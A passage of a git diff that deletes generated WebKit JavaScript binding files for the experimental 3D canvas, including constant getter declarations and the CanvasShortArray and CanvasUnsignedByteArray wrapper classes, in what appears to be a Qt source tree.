-JSC::JSValue jsCanvasRenderingContext3DMAX_CUBE_MAP_TEXTURE_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE0(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE1(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE2(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE3(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE4(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE5(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE6(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE7(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE8(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE9(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE10(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE11(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE12(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE13(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE14(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE15(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE16(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE17(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE18(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE19(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE20(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE21(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE22(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE23(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE24(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE25(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE26(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE27(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE28(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE29(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE30(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE31(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DACTIVE_TEXTURE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DREPEAT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCLAMP_TO_EDGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMIRRORED_REPEAT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFLOAT_VEC2(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFLOAT_VEC3(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFLOAT_VEC4(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINT_VEC2(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINT_VEC3(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINT_VEC4(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBOOL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBOOL_VEC2(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBOOL_VEC3(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBOOL_VEC4(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFLOAT_MAT2(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFLOAT_MAT3(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFLOAT_MAT4(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSAMPLER_2D(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSAMPLER_CUBE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_ENABLED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_STRIDE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_TYPE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_NORMALIZED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_POINTER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_BUFFER_BINDING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DIMPLEMENTATION_COLOR_READ_TYPE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DIMPLEMENTATION_COLOR_READ_FORMAT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCOMPILE_STATUS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINFO_LOG_LENGTH(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSHADER_SOURCE_LENGTH(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSHADER_COMPILER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSHADER_BINARY_FORMATS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNUM_SHADER_BINARY_FORMATS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLOW_FLOAT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMEDIUM_FLOAT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DHIGH_FLOAT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLOW_INT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMEDIUM_INT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DHIGH_INT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRGBA4(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRGB5_A1(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRGB565(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_COMPONENT16(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_INDEX(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_INDEX8(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_WIDTH(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_HEIGHT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_INTERNAL_FORMAT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_RED_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_GREEN_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_BLUE_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_ALPHA_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_DEPTH_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_STENCIL_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_OBJECT_TYPE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_OBJECT_NAME(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCOLOR_ATTACHMENT0(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_ATTACHMENT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_ATTACHMENT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNONE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_COMPLETE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_ATTACHMENT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_DIMENSIONS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_UNSUPPORTED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAMEBUFFER_BINDING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERBUFFER_BINDING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_RENDERBUFFER_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINVALID_FRAMEBUFFER_OPERATION(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasShortArray.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasShortArray.cpp
deleted file mode 100644
index cdda2a3..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasShortArray.cpp
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasShortArray.h"
-
-#include "CanvasShortArray.h"
-#include <runtime/PropertyNameArray.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasShortArray);
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasShortArrayPrototypeTableValues[1] =
-{
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasShortArrayPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasShortArrayPrototypeTableValues, 0 };
-#else
-    { 1, 0, JSCanvasShortArrayPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasShortArrayPrototype::s_info = { "CanvasShortArrayPrototype", 0, &JSCanvasShortArrayPrototypeTable, 0 };
-
-JSObject* JSCanvasShortArrayPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasShortArray>(exec, globalObject);
-}
-
-const ClassInfo JSCanvasShortArray::s_info = { "CanvasShortArray", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasShortArray::JSCanvasShortArray(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasShortArray> impl)
-    : JSCanvasArray(structure, globalObject, impl)
-{
-}
-
-JSObject* JSCanvasShortArray::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasShortArrayPrototype(JSCanvasShortArrayPrototype::createStructure(JSCanvasArrayPrototype::self(exec, globalObject)));
-}
-
-bool JSCanvasShortArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasShortArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, index));
-        return true;
-    }
-    return Base::getOwnPropertySlot(exec, propertyName, slot);
-}
-
-bool JSCanvasShortArray::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasShortArray*>(impl())->length()) {
-        descriptor.setDescriptor(getByIndex(exec, index), DontDelete);
-        return true;
-    }
-    return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
-}
-
-bool JSCanvasShortArray::getOwnPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
-{
-    if (propertyName < static_cast<CanvasShortArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, propertyName));
-        return true;
-    }
-    return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
-}
-
-void JSCanvasShortArray::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok) {
-        indexSetter(exec, index, value);
-        return;
-    }
-    Base::put(exec, propertyName, value, slot);
-}
-
-void JSCanvasShortArray::put(ExecState* exec, unsigned propertyName, JSValue value)
-{
-    indexSetter(exec, propertyName, value);
-    return;
-}
-
-void JSCanvasShortArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
-{
-    for (unsigned i = 0; i < static_cast<CanvasShortArray*>(impl())->length(); ++i)
-        propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
-}
-
-
-JSValue JSCanvasShortArray::getByIndex(ExecState* exec, unsigned index)
-{
-    return jsNumber(exec, static_cast<CanvasShortArray*>(impl())->item(index));
-}
-CanvasShortArray* toCanvasShortArray(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasShortArray::s_info) ? static_cast<JSCanvasShortArray*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasShortArray.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasShortArray.h
deleted file mode 100644
index 688ca0c..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasShortArray.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#ifndef JSCanvasShortArray_h
-#define JSCanvasShortArray_h
-
-#if ENABLE(3D_CANVAS)
-
-#include "CanvasShortArray.h"
-#include "JSCanvasArray.h"
-
-namespace WebCore {
-
-class CanvasShortArray;
-
-class JSCanvasShortArray : public JSCanvasArray {
-    typedef JSCanvasArray Base;
-public:
-    JSCanvasShortArray(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CanvasShortArray>);
-    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
-    virtual bool getOwnPropertySlot(JSC::ExecState*, unsigned propertyName, JSC::PropertySlot&);
-    virtual void put(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSValue, JSC::PutPropertySlot&);
-    virtual void put(JSC::ExecState*, unsigned propertyName, JSC::JSValue);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-    CanvasShortArray* impl() const
-    {
-        return static_cast<CanvasShortArray*>(Base::impl());
-    }
-protected:
-    static const unsigned StructureFlags = JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    JSC::JSValue getByIndex(JSC::ExecState*, unsigned index);
-    void indexSetter(JSC::ExecState*, unsigned index, JSC::JSValue);
-};
-
-JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CanvasShortArray*);
-CanvasShortArray* toCanvasShortArray(JSC::JSValue);
-
-class JSCanvasShortArrayPrototype : public JSC::JSObject {
-    typedef JSC::JSObject Base;
-public:
-    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
-    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    static const JSC::ClassInfo s_info;
-    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
-    {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
-    }
-    JSCanvasShortArrayPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
-protected:
-    static const unsigned StructureFlags = Base::StructureFlags;
-};
-
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedByteArray.cpp b/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedByteArray.cpp
deleted file mode 100644
index ee1c32f..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedByteArray.cpp
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
-    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
-
-    This library is free software; you can redistribute it and/or
-    modify it under the terms of the GNU Library General Public
-    License as published by the Free Software Foundation; either
-    version 2 of the License, or (at your option) any later version.
-
-    This library is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-    Library General Public License for more details.
-
-    You should have received a copy of the GNU Library General Public License
-    along with this library; see the file COPYING.LIB.  If not, write to
-    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-    Boston, MA 02110-1301, USA.
-*/
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedByteArray.h"
-
-#include "CanvasUnsignedByteArray.h"
-#include <runtime/PropertyNameArray.h>
-#include <wtf/GetPtr.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSCanvasUnsignedByteArray);
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasUnsignedByteArrayPrototypeTableValues[1] =
-{
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasUnsignedByteArrayPrototypeTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 0, JSCanvasUnsignedByteArrayPrototypeTableValues, 0 };
-#else
-    { 1, 0, JSCanvasUnsignedByteArrayPrototypeTableValues, 0 };
-#endif
-
-const ClassInfo JSCanvasUnsignedByteArrayPrototype::s_info = { "CanvasUnsignedByteArrayPrototype", 0, &JSCanvasUnsignedByteArrayPrototypeTable, 0 };
-
-JSObject* JSCanvasUnsignedByteArrayPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return getDOMPrototype<JSCanvasUnsignedByteArray>(exec, globalObject);
-}
-
-const ClassInfo JSCanvasUnsignedByteArray::s_info = { "CanvasUnsignedByteArray", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasUnsignedByteArray::JSCanvasUnsignedByteArray(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasUnsignedByteArray> impl)
-    : JSCanvasArray(structure, globalObject, impl)
-{
-}
-
-JSObject* JSCanvasUnsignedByteArray::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
-{
-    return new (exec) JSCanvasUnsignedByteArrayPrototype(JSCanvasUnsignedByteArrayPrototype::createStructure(JSCanvasArrayPrototype::self(exec, globalObject)));
-}
-
-bool JSCanvasUnsignedByteArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasUnsignedByteArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, index));
-        return true;
-    }
-    return Base::getOwnPropertySlot(exec, propertyName, slot);
-}
-
-bool JSCanvasUnsignedByteArray::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CanvasUnsignedByteArray*>(impl())->length()) {
-        descriptor.setDescriptor(getByIndex(exec, index), DontDelete);
-        return true;
-    }
-    return Base::getOwnPropertyDescriptor(exec, propertyName, descriptor);
-}
-
-bool JSCanvasUnsignedByteArray::getOwnPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)
-{
-    if (propertyName < static_cast<CanvasUnsignedByteArray*>(impl())->length()) {
-        slot.setValue(getByIndex(exec, propertyName));
-        return true;
-    }
-    return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
-}
-
-void JSCanvasUnsignedByteArray::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
-{
-    bool ok;
-    unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok) {
-        indexSetter(exec, index, value);
-        return;
-    }
-    Base::put(exec, propertyName, value, slot);
-}
-
-void JSCanvasUnsignedByteArray::put(ExecState* exec, unsigned propertyName, JSValue value)
-{
-    indexSetter(exec, propertyName, value);
-    return;
-}
-
-void JSCanvasUnsignedByteArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
-{
-    for (unsigned i = 0; i < static_cast<CanvasUnsignedByteArray*>(impl())->length(); ++i)
-        propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
-}
-
-
-JSValue JSCanvasUnsignedByteArray::getByIndex(ExecState* exec, unsigned index)
-{
-    return jsNumber(exec, static_cast<CanvasUnsignedByteArray*>(impl())->item(index));
-}
-CanvasUnsignedByteArray* toCanvasUnsignedByteArray(JSC::JSValue value)
-{
-    return value.inherits(&JSCanvasUnsignedByteArray::s_info) ? static_cast<JSCanvasUnsignedByteArray*>(asObject(value))->impl() : 0;
-}
-
-}
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedByteArray.h b/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedByteArray.h
deleted file mode 100644
index ccfaef6..0000000
--- a/src/3rdparty/webkit/WebCore/generated/JSCanvasUnsignedByteArray.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
-    This file is part of the WebKit open source project.
